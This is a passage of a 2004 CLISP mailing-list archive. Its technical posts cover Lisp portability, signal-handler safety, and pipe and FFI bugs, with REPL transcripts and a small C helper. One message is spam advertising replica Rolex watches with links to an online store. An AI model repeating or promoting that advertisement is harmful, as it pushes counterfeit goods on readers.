>CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 20 19:11:05 2004 X-Original-Date: Thu, 21 Oct 2004 04:04:47 +0200 Randolph Udodenko writes: > (message (Hello 'Edi) > (you :wrote :on '(Wed, 20 Oct 2004 17:38:36 +0200)) > ( > > >> (and it does in all other lisps i have here), and it should not > >> report error anyway.. > > EW> Here's a good explanation and a workaround: > > EW> > EW> EW> library.html> > > oh shit.. > problem is not in my code - i try to run CL-PREVALENCE examples with clisp > (it appears to be working with sbcl, lispworks and openmcl according to > conditional parts in system-dependent layer) and there is such expression: > > (probe-file (get-directory system)) > > i couldn't imagine that there can be incompatibility with such stuff.. The joys of Common-Lisp portability... The only thing you can do with a path to a directory is ENSURE-DIRECTORIES-EXIST. PROBE-FILE is named PROBE-FILE, not PROBE-FILE-SYSTEM-ITEM or PROBE-DIRECTORY. -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From r_h_boldenkt@canada.com.br Thu Oct 21 03:30:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKaDK-0004b3-F5 for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 03:30:34 -0700 Received: from [211.54.72.136] (helo=tandberg.no) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CKaDC-0004ko-QS for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 03:30:34 -0700 Received: from 199.226.211.254 by smtp.canada.com.br; Thu, 21 Oct 2004 10:34:47 +0000 Message-ID: <880901c4b759$2f44b5e0$eb3038f3@tandberg.no> From: "Raul H. Bolden" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.3 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 SAVE_UP_TO BODY: Save Up To 1.2 RCVD_IN_NJABL_PROXY RBL: NJABL: sender is an open proxy [211.54.72.136 listed in combined.njabl.org] 1.0 RCVD_IN_RFCI RBL: Sent via a relay in ipwhois.rfc-ignorant.org [211.54.72.136 has inaccurate or missing WHOIS] [data at the RIR] Subject: [clisp-list] Order Rolex or other Swiss watches online Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 21 03:59:33 2004 X-Original-Date: Thu, 21 Oct 2004 09:34:44 -0100 Heya, Do you want a rolex watch? In our online store you can buy replicas of Rolex watches. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Free shipping if you order 5 or more - Save up to 40% compared to the cost of other replicas - Standard Features: - Screw-in crown - Unidirectional turning bezel where appropriate - All the appropriate rolex logos, on crown and dial - Heavy weight Visit us: http://www.toels.com/replica/rolex/ Best regards, Hilton Jones No thanks: http://toels.com/z.php From pascal@informatimago.com Thu Oct 21 22:16:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKrmX-0007uY-Uw for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 22:16:05 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKrmW-0000Fw-PD for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 22:16:05 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id F2C5C586E2; Fri, 22 Oct 2004 07:15:56 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D6BF63AB68; Fri, 22 Oct 2004 07:15:31 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041022051531.D6BF63AB68@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] linux:signal handling examples Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 21 22:24:23 2004 X-Original-Date: Fri, 22 Oct 2004 07:15:31 +0200 (CEST) In linux.lisp, there's a signal handling example where the test-handler uses format to prints a message. Usually, this is a big no-no in signal handlers in C. (About the only thing that can be done safely and portably being to set an atomic global variable). Does clisp implement some special magic to allow it safely? Is the whole lisp available during signal handlers? Are all common-lisp functions reentrants? What about garbage collection? -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Thu Oct 21 22:41:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKsBE-00042x-2u for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 22:41:36 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKsBC-00036Q-SB for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 22:41:36 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 04574586E2; Fri, 22 Oct 2004 07:41:30 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id CE1F13AB68; Fri, 22 Oct 2004 07:41:04 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041022054104.CE1F13AB68@thalassa.informatimago.com> X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] some fun (BUGS!) with signals Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 21 22:43:10 2004 X-Original-Date: Fri, 22 Oct 2004 07:41:04 +0200 (CEST) [22]> (linux:set-signal-handler linux:SIGALRM (lambda (signal) (princ "."))) # [23]> (linux:ualarm 1000000/10 1000000/10) 0 [24]> .....................................................................(loop) . NIL [25]> ................(loop) .. NIL [26]> ...............................................(loop for i from 0) . *** - +: "." is not a NUMBER The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [27]> (loop) ** - Continuable Error EVAL: User break If you continue (by typing 'continue'): Continue execution The following restarts are also available: USE-VALUE :R1 You may input a value to be used instead. Break 2 [28]> [32]> (linux:ualarm 1000000/10 1000000/10) 0 [33]> ...........................................................................................................................................................................................................................(dolist (i (mapcar (function symbol-name) (sort (let ((sl '())) (do-external-symbols (s "LINUX") (push s sl)) sl) (function string<=)))) (format t "~60@A~%" i) (loop for i to 1000000)) ACCESSPERMS .. B0 ............ . . B110 ............ *** - >: "." is not a REAL The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [34]> :bt <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # 0 <11> # <12> #> 1 EVAL frame for form (WHEN (> I 1000000) (LOOP-FINISH)) <13> # EVAL frame for form (TAGBODY SYSTEM::BEGIN-LOOP (WHEN (> I 1000000) (LOOP-FINISH)) (PROGN) (PSETQ I (+ I 1)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))) <14> # EVAL frame for form (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP))) (TAGBODY SYSTEM::BEGIN-LOOP (WHEN (> I 1000000) (LOOP-FINISH)) (PROGN) (PSETQ I (+ I 1)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP)))))) -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Thu Oct 21 23:52:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKtHb-0001hu-QT for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 23:52:15 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CKtHa-0001EG-3A for clisp-list@lists.sourceforge.net; Thu, 21 Oct 2004 23:52:15 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DD31F586E2; Fri, 22 Oct 2004 08:52:09 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8EC163AB68; Fri, 22 Oct 2004 08:51:44 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041022065144.8EC163AB68@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] lacking index of implnotes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 00:11:37 2004 X-Original-Date: Fri, 22 Oct 2004 08:51:44 +0200 (CEST) http://clisp.cons.org/impnotes/idx.html Only very little terms and implementation specific functions are indexed. For example, EXT:MAKE-BUFFERED-INPUT-STREAM is not present. -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Fri Oct 22 01:22:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKugw-0004Nw-U6 for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 01:22:30 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKugv-0002KH-Hc for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 01:22:30 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 53BC0586E2; Fri, 22 Oct 2004 10:22:26 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0AA9F3AB68; Fri, 22 Oct 2004 10:22:01 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en Reply-To: Message-Id: <20041022082201.0AA9F3AB68@thalassa.informatimago.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] linux:write bogus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 01:27:04 2004 X-Original-Date: Fri, 22 Oct 2004 10:22:01 +0200 (CEST) It seems to me that the declaration of linux:|write-help| is bogus: [67]> (multiple-value-bind (res fds) (linux:|pipe|) (ffi:with-foreign-string (fstr flen fsiz "Hello") (print `(wrote ,(linux:|write| (aref fds 1) fstr))) (ffi:with-foreign-object (buf '(ffi:c-array ffi:uchar 512)) (let ((rlen (linux:|read| (aref fds 0) buf 512))) (print `(read ,rlen)) (dotimes (i rlen) (princ (code-char (ffi:element (ffi:foreign-value buf) i)))))))) *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR) [68]> (ffi:def-call-out linux:|write-helper| (:arguments (fd ffi:int) (buf ffi:c-pointer) (nbytes linux:|size_t|) (no-hang-p ffi:boolean)) (:return-type linux:|ssize_t|) (:name "write_helper")) WARNING: (FFI:DEF-CALL-OUT LINUX:write-helper (:ARGUMENTS (FD FFI:INT) (BUF FFI:C-POINTER) (NBYTES LINUX:size_t) (NO-HANG-P BOOLEAN)) (:RETURN-TYPE LINUX:ssize_t) (:NAME "write_helper")): No :LANGUAGE argument and no FFI:DEFAULT-FOREIGN-LANGUAGE form in this compilation unit; :STDC assumed now and for the rest of this unit WARNING: DEFUN/DEFMACRO: redefining function LINUX:write-helper in top-level, was defined in /usr/local/src/clisp-2.33.2/src/bindings/glibc/linux.fas LINUX:write-helper [69]> (without-package-lock ("LINUX") (defmacro linux:|write| (fd buf nbytes) `(linux:|write-helper| ,fd ,buf ,nbytes nil))) WARNING: DEFUN/DEFMACRO: redefining macro LINUX:write in top-level, was defined in /usr/local/src/clisp-2.33.2/src/bindings/glibc/linux.fas LINUX:write [70]> (multiple-value-bind (res fds) (linux:|pipe|) (ffi:with-foreign-string (fstr flen fsiz "Hello") (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz))) (ffi:with-foreign-object (buf '(ffi:c-array ffi:uchar 512)) (let ((rlen (linux:|read| (aref fds 0) buf 512))) (print `(read ,rlen)) (dotimes (i rlen) (princ (code-char (ffi:element (ffi:foreign-value buf) i)))))))) (WROTE 6) By the way, this dead-locks while the normal similar C program works perfectly. Why? $ make pipe gcc pipe.c -o pipe $ ./pipe wrote 6 read 6 Hello $ cat pipe.c #include #include int main(void){ int res; int fds[2]; char buffer[512]; res=pipe(fds); if(res<0){perror("write");return(1);} printf("wrote %d\n",write(fds[1],"Hello",6)); res=read(fds[0],buffer,512); if(res<0){perror("read");return(1);} printf("read %d\n%s\n",res,buffer); return(0);} /*** pipe.c -- -- ***/ -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Fri Oct 22 01:23:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKuiG-0004jD-Rb for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 01:23:52 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CKuiF-0001KW-Nd for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 01:23:52 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2FA47586E2; Fri, 22 Oct 2004 10:23:50 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DDF0C3AB68; Fri, 22 Oct 2004 10:23:24 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041022082324.DDF0C3AB68@thalassa.informatimago.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] make-stream documentation error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 01:28:22 2004 X-Original-Date: Fri, 22 Oct 2004 10:23:24 +0200 (CEST) The documentation of MAKE-STREAM says: The handle is duplicated (with dup/dup2), so it is safe to CLOSE a STREAM returned by EXT:MAKE-STREAM. But: (defun make-unix-pipe (&key (element-type 'character) (external-format CUSTOM:*FOREIGN-ENCODING*) (buffered t)) (multiple-value-bind (res fds) (linux:|pipe|) (unless (= 0 res) (error "unix pipe: ~A" (linux:|strerror| (linux:|errno|)))) (let ((inp (ext:make-stream (aref fds 0) :direction :input :element-type element-type :external-format external-format :buffered buffered)) (out (ext:make-stream (aref fds 1) :direction :output :element-type element-type :external-format external-format :buffered buffered))) (print (list (aref fds 0) inp (aref fds 1) out)) (linux:|close| (aref fds 0)) (linux:|close| (aref fds 1)) (values inp out))));;make-unix-pipe [5]> (make-unix-pipe) (4 # 5 #) # ; # does not seem to have duped the file descriptor, and indeed, using the returned stream after having closed the original fds does not work... Unfortunately, removing the linux:|close| calls won't change anything because pipe I/O doesn't seem to work anyway (cf my message about write-helper). -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Fri Oct 22 01:37:30 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKuvQ-0008Dy-Hu for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 01:37:28 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKuvP-0003si-JM for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 01:37:28 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1BCBB586E2; Fri, 22 Oct 2004 10:37:25 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B0F413AB68; Fri, 22 Oct 2004 10:36:59 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041022083659.B0F413AB68@thalassa.informatimago.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] suggestion: a working unix read and write implementation. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 01:42:57 2004 X-Original-Date: Fri, 22 Oct 2004 10:36:59 +0200 (CEST) [12]> (ffi:def-call-out unix-read (:arguments (fd ffi:int) (buf ffi:c-pointer) (nbytes linux:|size_t|)) (:return-type linux:|ssize_t|) (:name "unix_read") (:library "libunix-unistd.so") (:language :stdc)) (ffi:def-call-out unix-write (:arguments (fd ffi:int) (buf ffi:c-pointer) (nbytes linux:|size_t|)) (:return-type linux:|ssize_t|) (:name "unix_write") (:library "libunix-unistd.so") (:language :stdc)) UNIX-READ [13]> UNIX-WRITE [14]> (multiple-value-bind (res fds) (linux:|pipe|) (ffi:with-foreign-string (fstr flen fsiz "Hello") (print `(wrote ,(unix-write (aref fds 1) fstr fsiz))) (ffi:with-foreign-object (buf '(ffi:c-array ffi:uchar 512)) (let ((rlen (unix-read (aref fds 0) buf 512))) (print `(read ,rlen)) (dotimes (i rlen) (princ (code-char (ffi:element (ffi:foreign-value buf) i)))))))) (WROTE 6) (READ 6) Hello NIL [15]> (cat "unix-unistd.c") #include int unix_read (int fd,void* buf,size_t count) {return(read (fd,buf,count));} int unix_write(int fd,void* buf,size_t count) {return(write(fd,buf,count));} /*** unix-unistd.c -- -- ***/ [16]> (cat "Makefile") all: libunix-unistd.so libunix-unistd.so:unix-unistd.o ld -shared -fPIC $< -o $@ CFLAGS=-shared -fPIC #### Makefile -- -- #### [17]> -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From hin@van-halen.alma.com Fri Oct 22 03:36:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKwmR-0002rt-FK for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 03:36:19 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by 